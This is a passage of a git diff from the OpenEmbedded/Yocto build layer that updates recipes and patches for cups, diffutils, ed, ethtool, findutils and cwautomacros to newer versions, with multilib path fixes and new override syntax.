+ $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o genstrings genstrings.o \
+ libcupsppdc.a $(LINKCUPSSTATIC)
+ $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
+- echo Generating localization strings...
+- ./genstrings >sample.c
++# echo Generating localization strings...
++# ./genstrings >sample.c
+
+
+ #
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch b/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
new file mode 100644
index 0000000000..bc9260307c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
@@ -0,0 +1,33 @@
+From 7dbda1887aa19ab720aff22312f4caff2d575f62 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Wed, 3 Oct 2018 00:27:11 +0800
+Subject: [PATCH 4/4] cups: fix multilib install file conflicts
+
+@CUPS_SERVERBIN@ is ${libdir} related that causes multilib install file
+conflict. Remove @CUPS_SERVERBIN@ from the comment line of cups-files.conf to
+avoid the conflict.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+---
+ conf/cups-files.conf.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/conf/cups-files.conf.in b/conf/cups-files.conf.in
+index 4a78ba6..03c6582 100644
+--- a/conf/cups-files.conf.in
++++ b/conf/cups-files.conf.in
+@@ -73,7 +73,7 @@ PageLog @CUPS_LOGDIR@/page_log
+ #RequestRoot @CUPS_REQUESTS@
+
+ # Location of helper programs...
+-#ServerBin @CUPS_SERVERBIN@
++#ServerBin
+
+ # SSL/TLS keychain for the scheduler...
+ #ServerKeychain @CUPS_SERVERKEYCHAIN@
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/cups-avoid-install-file-conflicts.patch b/meta/recipes-extended/cups/cups/cups-avoid-install-file-conflicts.patch
deleted file mode 100644
index 68885fa4db..0000000000
--- a/meta/recipes-extended/cups/cups/cups-avoid-install-file-conflicts.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-@CUPS_SERVERBIN@ is ${libdir} related that causes multilib install file
-conflict. Remove @CUPS_SERVERBIN@ from the comment line of cups-files.conf to
-avoid the conflict.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-diff --git a/conf/cups-files.conf.in b/conf/cups-files.conf.in
-index 4a78ba6..03c6582 100644
---- a/conf/cups-files.conf.in
-+++ b/conf/cups-files.conf.in
-@@ -73,7 +73,7 @@ PageLog @CUPS_LOGDIR@/page_log
- #RequestRoot @CUPS_REQUESTS@
-
- # Location of helper programs...
--#ServerBin @CUPS_SERVERBIN@
-+#ServerBin
-
- # SSL/TLS keychain for the scheduler...
- #ServerKeychain @CUPS_SERVERKEYCHAIN@
diff --git a/meta/recipes-extended/cups/cups/cups-volatiles.conf b/meta/recipes-extended/cups/cups/cups-volatiles.conf
new file mode 100644
index 0000000000..0ede78e1c8
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/cups-volatiles.conf
@@ -0,0 +1 @@
+d /var/log/cups 0755 root root -
diff --git a/meta/recipes-extended/cups/cups/cups_serverbin.patch b/meta/recipes-extended/cups/cups/cups_serverbin.patch
deleted file mode 100644
index 85c6af1071..0000000000
--- a/meta/recipes-extended/cups/cups/cups_serverbin.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
-e.g. ppc64 where base libdir is lib64 this does not go well
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [OE config specific]
-
-Update on 20190904:
-Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction
-when multilib is enabled.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-Index: cups-1.4.6/config-scripts/cups-directories.m4
-===================================================================
---- cups-1.4.6.orig/config-scripts/cups-directories.m4 2009-04-12 16:04:51.000000000 -0700
-+++ cups-1.4.6/config-scripts/cups-directories.m4 2012-07-21 12:12:05.896405923 -0700
-@@ -397,7 +397,7 @@
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
-Index: cups-1.4.6/configure
-===================================================================
---- cups-1.4.6.orig/configure 2012-07-21 12:13:34.512405950 -0700
-+++ cups-1.4.6/configure 2012-07-21 12:14:05.724406017 -0700
-@@ -11181,7 +11181,7 @@
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
+From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 13 Jul 2021 12:56:30 +0100
+Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
+ breaks multilib builds.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ config-scripts/cups-directories.m4 | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
+index 2033d47..230166e 100644
+--- a/config-scripts/cups-directories.m4
++++ b/config-scripts/cups-directories.m4
+@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
+ AS_CASE(["$host_os_name"], [*-gnu], [
+ # GNUs
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ], [*bsd* | darwin*], [
+ # *BSD and Darwin (macOS)
+ INSTALL_SYSV=""
+@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
+ ], [*], [
+ # All others
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ])
+
+ AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch b/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch
deleted file mode 100644
index 696f1374d9..0000000000
--- a/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Index: cups-1.6.1/scheduler/cups.sh.in
-===================================================================
---- cups-1.6.1.orig/scheduler/cups.sh.in
-+++ cups-1.6.1/scheduler/cups.sh.in
-@@ -67,7 +67,7 @@ case "`uname`" in
- ECHO_ERROR=:
- ;;
-
-- Linux*)
-+ DisableLinux*)
- IS_ON=/bin/true
- if test -f /etc/init.d/functions; then
- . /etc/init.d/functions
diff --git a/meta/recipes-extended/cups/cups/volatiles.99_cups b/meta/recipes-extended/cups/cups/volatiles.99_cups
new file mode 100644
index 0000000000..cc0e19e4c8
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/volatiles.99_cups
@@ -0,0 +1,2 @@
+# <type> <owner> <group> <mode> <path> <linksource>
+d root root 0755 /var/log/cups none
diff --git a/meta/recipes-extended/cups/cups_2.2.12.bb b/meta/recipes-extended/cups/cups_2.2.12.bb
deleted file mode 100644
index 8e5534a979..0000000000
--- a/meta/recipes-extended/cups/cups_2.2.12.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cups.inc
-
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=f212b4338db0da8cb892e94bf2949460"
-
-SRC_URI[md5sum] = "e763689f7735d3fe95a2943397189e40"
-SRC_URI[sha256sum] = "0f61ab449e4748a24c6ab355b481ff7691247a140d327b2b7526fce34b7f9aa8"
diff --git a/meta/recipes-extended/cups/cups_2.4.1.bb b/meta/recipes-extended/cups/cups_2.4.1.bb
new file mode 100644
index 0000000000..27c88f82c7
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.1.bb
@@ -0,0 +1,5 @@
+require cups.inc
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI[sha256sum] = "c7339f75f8d4f2dec50c673341a45fc06b6885bb6d4366d6bf59a4e6c10ae178"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 65a99fc28d..0e155b6c95 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,7 +1,8 @@
SUMMARY = "Collection of autoconf m4 macros"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
-LICENSE = "GPLv2"
+DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2"
@@ -13,7 +14,7 @@ do_configure() {
}
do_install() {
- oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install
+ oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install
# cleanup buildpaths in autogen.sh
sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index c9e3130587..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,7 +7,7 @@ SECTION = "base"
inherit autotools texinfo update-alternatives gettext
-ALTERNATIVE_${PN} = "diff cmp"
+ALTERNATIVE:${PN} = "diff cmp"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.7.bb
deleted file mode 100644
index 8111ae6065..0000000000
--- a/meta/recipes-extended/diffutils/diffutils_3.7.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-require diffutils.inc
-
-SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Skip-strip-trailing-cr-test-case.patch \
-"
-
-SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461"
-SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26"
-
-EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest += "make perl"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
- cp -r ${S}/tests $t/
- install ${B}/tests/Makefile $t/tests/
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e 's|^Makefile:|_Makefile:|' \
- -e 's|bash|sh|' \
- -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
- -e 's|^srcdir = \(.*\)|srcdir = .|' \
- -e 's|"`$(built_programs)`"|diff|' \
- -e 's|gawk|awk|g' \
- -i $t/tests/Makefile
-}
diff --git a/meta/recipes-extended/diffutils/diffutils_3.8.bb b/meta/recipes-extended/diffutils/diffutils_3.8.bb
new file mode 100644
index 0000000000..8c3b9b0e5a
--- /dev/null
+++ b/meta/recipes-extended/diffutils/diffutils_3.8.bb
@@ -0,0 +1,43 @@
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+require diffutils.inc
+
+SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Skip-strip-trailing-cr-test-case.patch \
+ "
+
+SRC_URI[sha256sum] = "a6bdd7d1b31266d11c4f4de6c1b748d4607ab0231af5188fc2533d0ae2438fec"
+
+EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
+
+# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
+CFLAGS:mingw32 = " -DSA_RESTART=0"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "make perl"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
+ cp -r ${S}/tests $t/
+ install ${B}/tests/Makefile $t/tests/
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -e 's|^Makefile:|_Makefile:|' \
+ -e 's|bash|sh|' \
+ -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
+ -e 's|^srcdir = \(.*\)|srcdir = .|' \
+ -e 's|"`$(built_programs)`"|diff|' \
+ -e 's|gawk|awk|g' \
+ -i $t/tests/Makefile
+}
diff --git a/meta/recipes-extended/ed/ed_1.15.bb b/meta/recipes-extended/ed/ed_1.15.bb
deleted file mode 100644
index 886c3ddcab..0000000000
--- a/meta/recipes-extended/ed/ed_1.15.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Line-oriented text editor"
-HOMEPAGE = "http://www.gnu.org/software/ed/"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
- file://ed.h;endline=20;md5=8af8e7dc7275dca05ce6c9e7ece7aec8 \
- file://main.c;endline=17;md5=d4dd6a62c502712358ca18551f978781 \
- "
-
-SECTION = "base"
-
-CVE_PRODUCT = "gnu:ed"
-
-# LSB states that ed should be in /bin/
-bindir = "${base_bindir}"
-
-# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
-SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
-UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
-
-SRC_URI[md5sum] = "d3aaeb5eb032142948d7a2f98a24899b"
-SRC_URI[sha256sum] = "ad4489c0ad7a108c514262da28e6c2a426946fb408a3977ef1ed34308bdfd174"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit texinfo
-
-do_configure() {
- ${S}/configure
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
diff --git a/meta/recipes-extended/ed/ed_1.18.bb b/meta/recipes-extended/ed/ed_1.18.bb
new file mode 100644
index 0000000000..e1548df15f
--- /dev/null
+++ b/meta/recipes-extended/ed/ed_1.18.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Line-oriented text editor"
+HOMEPAGE = "http://www.gnu.org/software/ed/"
+DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://ed.h;endline=20;md5=6e6a818b0593f937fc63ba08d5e314bf \
+ file://main.c;endline=17;md5=8419a08bb12936f32384a0d1c0f9e74c \
+ "
+
+SECTION = "base"
+
+CVE_PRODUCT = "gnu:ed"
+
+# LSB states that ed should be in /bin/
+bindir = "${base_bindir}"
+
+# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
+SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
+UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
+
+SRC_URI[sha256sum] = "aca8efad9800c587724a20b97aa8fc47e6b5a47df81606feaba831b074462b4f"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit texinfo
+
+do_configure() {
+ ${S}/configure
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index 153ea55060..034dc92444 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,4 +1,4 @@
-From f8333f7759717b4d163cfe8e3ef8861c5a667324 Mon Sep 17 00:00:00 2001
+From d98b1e29b89962954690e6a8ddfdd80276407ce7 Mon Sep 17 00:00:00 2001
From: Tudor Florea <tudor.florea@enea.com>
Date: Wed, 28 May 2014 18:59:54 +0200
Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
@@ -15,15 +15,15 @@ Upstream-Status: Inappropriate
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 2127fdb..4910e6f 100644
+index 8fc93c8..94ee28d 100644
--- a/configure.ac
+++ b/configure.ac
@@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script.
- AC_INIT(ethtool, 5.3, netdev@vger.kernel.org)
+ AC_INIT(ethtool, 5.16, netdev@vger.kernel.org)
AC_PREREQ(2.52)
AC_CONFIG_SRCDIR([ethtool.c])
--AM_INIT_AUTOMAKE([gnu])
-+AM_INIT_AUTOMAKE([gnu serial-tests])
+-AM_INIT_AUTOMAKE([gnu subdir-objects])
++AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
AC_CONFIG_HEADERS([ethtool-config.h])
AM_MAINTAINER_MODE
diff --git a/meta/recipes-extended/ethtool/ethtool_5.16.bb b/meta/recipes-extended/ethtool/ethtool_5.16.bb
new file mode 100644
index 0000000000..5dca03d082
--- /dev/null
+++ b/meta/recipes-extended/ethtool/ethtool_5.16.bb
@@ -0,0 +1,37 @@
+SUMMARY = "Display or change ethernet card settings"
+DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
+HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
+SECTION = "console/network"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
+ file://run-ptest \
+ file://avoid_parallel_tests.patch \
+ "
+
+SRC_URI[sha256sum] = "4160fa127d75d5a6ebd5e871118486ac730dea2f28b2f1ad40fd1ed3d0d369e0"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
+
+inherit autotools ptest bash-completion pkgconfig
+
+RDEPENDS:${PN}-ptest += "make"
+
+PACKAGECONFIG ?= "netlink"
+PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
+
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest () {
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ install ${B}/test-cmdline ${D}${PTEST_PATH}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
+ install ${B}/test-features ${D}${PTEST_PATH}
+ fi
+ install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
+ sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
+}
diff --git a/meta/recipes-extended/ethtool/ethtool_5.3.bb b/meta/recipes-extended/ethtool/ethtool_5.3.bb
deleted file mode 100644
index 401331be39..0000000000
--- a/meta/recipes-extended/ethtool/ethtool_5.3.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Display or change ethernet card settings"
-DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
-HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
- file://run-ptest \
- file://avoid_parallel_tests.patch \
- "
-
-SRC_URI[md5sum] = "63d1c835b861912ea0dfd52cf66a2da4"
-SRC_URI[sha256sum] = "cd2d8ea360431a2ea35ff61c276bcf2afee1ad901668a0b50ae9f1c5814756bd"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
-
-inherit autotools ptest bash-completion
-
-RDEPENDS_${PN}-ptest += "make"
-
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest () {
- cp ${B}/Makefile ${D}${PTEST_PATH}
- install ${B}/test-cmdline ${D}${PTEST_PATH}
- install ${B}/test-features ${D}${PTEST_PATH}
- install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
- sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
-}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index ad3642923c..ddcc05750b 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,13 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
SECTION = "console/utils"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+ file://run-ptest \
+ "
-inherit autotools gettext texinfo update-alternatives upstream-version-is-even
+inherit autotools gettext texinfo update-alternatives ptest
-ALTERNATIVE_${PN} = "find xargs"
+ALTERNATIVE:${PN} = "find xargs"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 6064d18854..0000000000
--- a/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 86db2a5f3b7ef8113e5384b4e02d2b299c87a047 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- gl/lib/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gl/lib/Makefile.am b/gl/lib/Makefile.am
-index a9e2fe4..1c6ea9c 100644
---- a/gl/lib/Makefile.am
-+++ b/gl/lib/Makefile.am
-@@ -1234,7 +1234,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/findutils/findutils/0001-find-make-delete-honour-the-ignore_readdir_race-opti.patch b/meta/recipes-extended/findutils/findutils/0001-find-make-delete-honour-the-ignore_readdir_race-opti.patch
deleted file mode 100644
index a570473ccb..0000000000
--- a/meta/recipes-extended/findutils/findutils/0001-find-make-delete-honour-the-ignore_readdir_race-opti.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-From a3f4821c4a3f723d21c9298d54bee8a656bfd7fb Mon Sep 17 00:00:00 2001
-From: Bernhard Voelker <mail@bernhard-voelker.de>
-Date: Tue, 30 Jan 2018 23:30:09 +0100
-Subject: [PATCH] find: make -delete honour the -ignore_readdir_race option
-
-* find/pred.c (pred_delete): Return true when the -ignore_readdir_race
-option is active and unlinkat() came back with ENOENT.
-* doc/find.texi (Option -ignore_readdir_race): Document the change.
-(Action -delete): Likewise.
-* find/find.1: Likewise.
-* NEWS (Bug Fixes): Mention the fix.
-
-For now, it seems a bit hard to add a proper test for this,
-so the following shell snippet demonstrates the race:
-
- $ seq 10 | xargs touch
- $ env time -f 'find exit status: %x\nfind time: %e' \
- find -ignore_readdir_race -type f \
- -delete \
- -exec sh -c 'sleep $(basename {})' \; \
- -printf 'find deleted: %p\n' \
- & \
- sleep 20; \
- seq 10 | xargs rm -fv; \
- wait $!
-
-Reported by Alexander Golubev in
-https://savannah.gnu.org/bugs/?52981
-
-Upstream-Status: Backport
-Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
-
----
- NEWS | 4 ++++
- doc/find.texi | 15 ++++++++++++++-
- find/find.1 | 22 ++++++++++++++++++++++
- find/pred.c | 6 ++++++
- 4 files changed, 46 insertions(+), 1 deletion(-)
-
-diff --git a/NEWS b/NEWS
-index 660c241..b86ec1e 100644
---- a/NEWS
-+++ b/NEWS
-@@ -42,6 +42,10 @@ Updated the Danish translation.
-
- ** Bug Fixes:
-
-+#52981: find: the '-delete' action no longer complains about disappeared files
-+ when the '-ignore_readdir_race' option is given, too. That action will
-+ also returns true in such a case now.
-+
- Applied patch #8688: Spelling fixes.
-
- * Major changes in release 4.5.18, 2015-12-27
-diff --git a/doc/find.texi b/doc/find.texi
-index fdeb841..247c19a 100644
---- a/doc/find.texi
-+++ b/doc/find.texi
-@@ -1418,7 +1418,15 @@ gives a significant increase in search speed.
- If a file disappears after its name has been read from a directory but
- before @code{find} gets around to examining the file with @code{stat},
- don't issue an error message. If you don't specify this option, an
--error message will be issued. This option can be useful in system
-+error message will be issued.
-+
-+Furthermore, @code{find} with the @samp{-ignore_readdir_race} option
-+will ignore errors of the @samp{-delete} action in the case the file
-+has disappeared since the parent directory was read: it will not output
-+an error diagnostic, and the return code of the @samp{-delete} action
-+will be true.
-+
-+This option can be useful in system
- scripts (cron scripts, for example) that examine areas of the
- filesystem that change frequently (mail queues, temporary directories,
- and so forth), because this scenario is common for those sorts of
-@@ -2779,6 +2787,11 @@ explicitly.
-
- If @samp{-delete} fails, @code{find}'s exit status will be nonzero
- (when it eventually exits).
-+
-+Together with the @samp{-ignore_readdir_race} option, @code{find} will
-+ignore errors of the @samp{-delete} action in the case the file has disappeared
-+since the parent directory was read: it will not output an error diagnostic, and
-+the return code of the @samp{-delete} action will be true.
- @end deffn
-
- @node Adding Tests
-diff --git a/find/find.1 b/find/find.1
-index 7b141b8..0eec41c 100644
---- a/find/find.1
-+++ b/find/find.1
-@@ -479,6 +479,17 @@ one part of the filesystem with this option on and part of it with this option
- off (if you need to do that, you will need to issue two \fBfind\fR commands
- instead, one with the option and one without it).
-
-+Furthermore,
-+.B find
-+with the
-+.B \-ignore_readdir_race
-+option will ignore errors of the
-+.B \-delete
-+action in the case the file has disappeared since the parent directory was read:
-+it will not output an error diagnostic, and the return code of the
-+.B \-delete
-+action will be true.
-+
- .IP "\-maxdepth \fIlevels\fR"
- Descend at most \fIlevels\fR (a non-negative integer) levels of
- directories below the starting-points.
-@@ -1030,6 +1041,17 @@ and
- .B \-delete
- together.
-
-+Together with the
-+.B \-ignore_readdir_race
-+option,
-+.B find
-+will ignore errors of the
-+.B \-delete
-+action in the case the file has disappeared since the parent directory was
-+read: it will not output an error diagnostic, and the return code of the
-+.B \-delete
-+action will be true.
-+
- .IP "\-exec \fIcommand\fR ;"
- Execute \fIcommand\fR; true if 0 status is returned. All following
- arguments to
-diff --git a/find/pred.c b/find/pred.c
-index 32938fb..431f065 100644
---- a/find/pred.c
-+++ b/find/pred.c
